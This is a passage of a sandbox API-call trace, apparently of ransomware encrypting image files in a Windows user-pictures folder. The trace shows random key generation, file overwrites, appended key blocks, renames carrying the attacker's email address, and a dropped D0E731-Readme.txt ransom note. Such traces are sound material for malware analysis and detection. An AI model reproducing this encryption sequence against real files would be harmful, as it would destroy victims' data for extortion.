_Dest=0x347bca0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.290] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0x20 [0075.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0075.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0075.290] RtlExitUserThread (Status=0x1) Thread: id = 746 os_tid = 0x11f4 [0075.140] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-40.png")) returned 0x20 [0075.194] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png", dwFileAttributes=0x20) returned 1 [0075.211] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9cc [0075.211] GetFileSizeEx (in: hFile=0x9cc, lpFileSize=0x1c2bfd98 | out: lpFileSize=0x1c2bfd98*=433) returned 1 [0075.211] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x1ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.211] ReadFile (in: hFile=0x9cc, lpBuffer=0x1c2bfd6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c2bfd68, lpOverlapped=0x0 | out: lpBuffer=0x1c2bfd6c*, lpNumberOfBytesRead=0x1c2bfd68*=0x4, lpOverlapped=0x0) returned 1 [0075.212] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34796b0 [0075.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479728 [0075.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34792c8 [0075.213] NtQuerySystemTime (in: CurrentTime=0x1c2bfd44 | out: CurrentTime=0x1c2bfd44*=132121176331127834) returned 0x0 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x2fe29d85 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x3ec6ec71 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x5b01caa2 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x4a9ef76f [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xea9cc956 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xf134919e [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x72ecb74e [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x54ca0199 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x37a7a166 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xc1ebe149 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xd2782048 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x6b14e220 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x302d4028 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xf43eba11 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x76f581f0 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xaac42d3e [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xebfb3698 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x47368348 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x96d03c8c [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xe3fdd0a7 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x4aab8fd2 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x81974a2d [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x847e8cd2 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x70dda63c [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x94bb18b3 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xff1abd9b [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x8cd80c2c [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xbb04e9e7 [0075.213] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x57234cbe [0075.214] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0x9c7eb2b3 [0075.214] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xfa1aab51 [0075.214] RtlRandom (in: Seed=0x1c2bfd50 | out: Seed=0x1c2bfd50) returned 0xd738d819 [0075.224] ReadFile (in: hFile=0x9cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1b1, lpNumberOfBytesRead=0x1c2bfd44, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c2bfd44*=0x1b1, lpOverlapped=0x0) returned 1 [0075.224] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1c2bfd0c | out: lpNewFilePointer=0x0) returned 1 [0075.224] WriteFile (in: hFile=0x9cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1b1, lpNumberOfBytesWritten=0x1c2bfd40, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c2bfd40*=0x1b1, lpOverlapped=0x0) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795e8 [0075.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479458 [0075.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479458) returned 1 [0075.225] WriteFile (in: hFile=0x9cc, lpBuffer=0x34795e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c2bfd3c, lpOverlapped=0x0 | out: lpBuffer=0x34795e8*, lpNumberOfBytesWritten=0x1c2bfd3c*=0x20, lpOverlapped=0x0) returned 1 [0075.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34795e8) returned 1 [0075.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.225] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479390*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c2bfd68, lpOverlapped=0x0 | out: lpBuffer=0x3479390*, lpNumberOfBytesWritten=0x1c2bfd68*=0x8, lpOverlapped=0x0) returned 1 [0075.225] WriteFile (in: hFile=0x9cc, lpBuffer=0x1c2bfd80*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c2bfd68, lpOverlapped=0x0 | out: lpBuffer=0x1c2bfd80*, lpNumberOfBytesWritten=0x1c2bfd68*=0x4, lpOverlapped=0x0) returned 1 [0075.225] WriteFile (in: hFile=0x9cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c2bfd68, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c2bfd68*=0x4, lpOverlapped=0x0) returned 1 [0075.225] WriteFile (in: hFile=0x9cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c2bfd68, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c2bfd68*=0x6c, lpOverlapped=0x0) returned 1 [0075.225] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479728*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c2bfd68, lpOverlapped=0x0 | out: lpBuffer=0x3479728*, lpNumberOfBytesWritten=0x1c2bfd68*=0x20, lpOverlapped=0x0) returned 1 [0075.225] WriteFile (in: hFile=0x9cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c2bfd68, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c2bfd68*=0x4, lpOverlapped=0x0) returned 1 [0075.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479728) returned 1 [0075.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479390) returned 1 [0075.226] CloseHandle (hObject=0x9cc) returned 1 [0075.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431fd8 [0075.226] wcscpy (in: _Dest=0x3431fd8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png" [0075.226] wcscat (in: _Dest=0x3431fd8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731" [0075.226] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-40.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.226] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431fd8) returned 1 [0075.227] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png", dwFileAttributes=0x20) returned 0 [0075.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347c750 [0075.227] wcscpy (in: _Dest=0x347c750, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.227] wcscat (in: _Dest=0x347c750, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.227] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0x20 [0075.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c750) returned 1 [0075.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33caac0) returned 1 [0075.227] RtlExitUserThread (Status=0x1) Thread: id = 747 os_tid = 0x11f8 [0075.300] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-48.png")) returned 0x20 [0075.300] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png", dwFileAttributes=0x20) returned 1 [0075.300] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d0 [0075.301] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x1c33fb34 | out: lpFileSize=0x1c33fb34*=501) returned 1 [0075.301] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x1f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.301] ReadFile (in: hFile=0x9d0, lpBuffer=0x1c33fb08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c33fb04, lpOverlapped=0x0 | out: lpBuffer=0x1c33fb08*, lpNumberOfBytesRead=0x1c33fb04*=0x4, lpOverlapped=0x0) returned 1 [0075.301] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479278 [0075.302] NtQuerySystemTime (in: CurrentTime=0x1c33fae0 | out: CurrentTime=0x1c33fae0*=132121176332001351) returned 0x0 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x776d1370 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xf4bdfc49 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x174152a4 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x7721e0a6 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x9a9352b1 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x84ad1144 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xc0c432d8 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x16385acf [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xa46e39d6 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xefcc057d [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xf3bee218 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x6439f929 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x2f3fc53e [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xe70340ed [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x75865394 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x5b9a7f56 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xd80b9f14 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x794ac5e1 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x7d4d3d17 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xaa330e67 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xb689f41b [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xef68ce5 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xfa9ac1c0 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x38baee25 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xeca233cb [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x33ad9dac [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x4111bd4f [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x7b5e39b5 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xd9117882 [0075.302] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xd12785ac [0075.303] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0x5c859b79 [0075.303] RtlRandom (in: Seed=0x1c33faec | out: Seed=0x1c33faec) returned 0xfb29ecaa [0075.314] ReadFile (in: hFile=0x9d0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x1c33fae0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c33fae0*=0x1f5, lpOverlapped=0x0) returned 1 [0075.314] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1c33faa8 | out: lpNewFilePointer=0x0) returned 1 [0075.314] WriteFile (in: hFile=0x9d0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x1c33fadc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c33fadc*=0x1f5, lpOverlapped=0x0) returned 1 [0075.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479318 [0075.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479340 [0075.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479340) returned 1 [0075.314] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479318*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c33fad8, lpOverlapped=0x0 | out: lpBuffer=0x3479318*, lpNumberOfBytesWritten=0x1c33fad8*=0x20, lpOverlapped=0x0) returned 1 [0075.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479318) returned 1 [0075.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.314] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.314] WriteFile (in: hFile=0x9d0, lpBuffer=0x34793b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c33fb04, lpOverlapped=0x0 | out: lpBuffer=0x34793b8*, lpNumberOfBytesWritten=0x1c33fb04*=0x8, lpOverlapped=0x0) returned 1 [0075.315] WriteFile (in: hFile=0x9d0, lpBuffer=0x1c33fb1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c33fb04, lpOverlapped=0x0 | out: lpBuffer=0x1c33fb1c*, lpNumberOfBytesWritten=0x1c33fb04*=0x4, lpOverlapped=0x0) returned 1 [0075.315] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c33fb04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c33fb04*=0x4, lpOverlapped=0x0) returned 1 [0075.315] WriteFile (in: hFile=0x9d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c33fb04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c33fb04*=0x6c, lpOverlapped=0x0) returned 1 [0075.315] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c33fb04, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1c33fb04*=0x20, lpOverlapped=0x0) returned 1 [0075.315] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c33fb04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c33fb04*=0x4, lpOverlapped=0x0) returned 1 [0075.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34792a0) returned 1 [0075.315] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.315] CloseHandle (hObject=0x9d0) returned 1 [0075.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34323c0 [0075.315] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png" [0075.315] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731" [0075.315] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-48.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.317] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0075.317] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png", dwFileAttributes=0x20) returned 0 [0075.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bca0 [0075.317] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.317] wcscat (in: _Dest=0x347bca0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.317] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0x20 [0075.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0075.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347eac8) returned 1 [0075.317] RtlExitUserThread (Status=0x1) Thread: id = 748 os_tid = 0x11fc [0075.319] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp")) returned 0x20 [0075.319] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp", dwFileAttributes=0x20) returned 1 [0075.319] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d0 [0075.320] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x1c3bfbac | out: lpFileSize=0x1c3bfbac*=602168) returned 1 [0075.320] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x93034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.320] ReadFile (in: hFile=0x9d0, lpBuffer=0x1c3bfb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c3bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x1c3bfb80*, lpNumberOfBytesRead=0x1c3bfb7c*=0x4, lpOverlapped=0x0) returned 1 [0075.321] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34792a0 [0075.322] NtQuerySystemTime (in: CurrentTime=0x1c3bfb58 | out: CurrentTime=0x1c3bfb58*=132121176332221365) returned 0x0 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x1e9eba95 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xefa8f7cd [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x1f3863e5 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x89689a49 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x370c5b8a [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x1af9fb40 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x6ca14ce8 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x5e6bd43f [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x7d57f7e4 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xe7d8fd78 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x78c41a66 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x55b15678 [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x9aa4e27d [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0x5e2772ca [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 0xf6ed2a8d [0075.322] RtlRandom (in: Seed=0x1c3bfb64 | out: Seed=0x1c3bfb64) returned 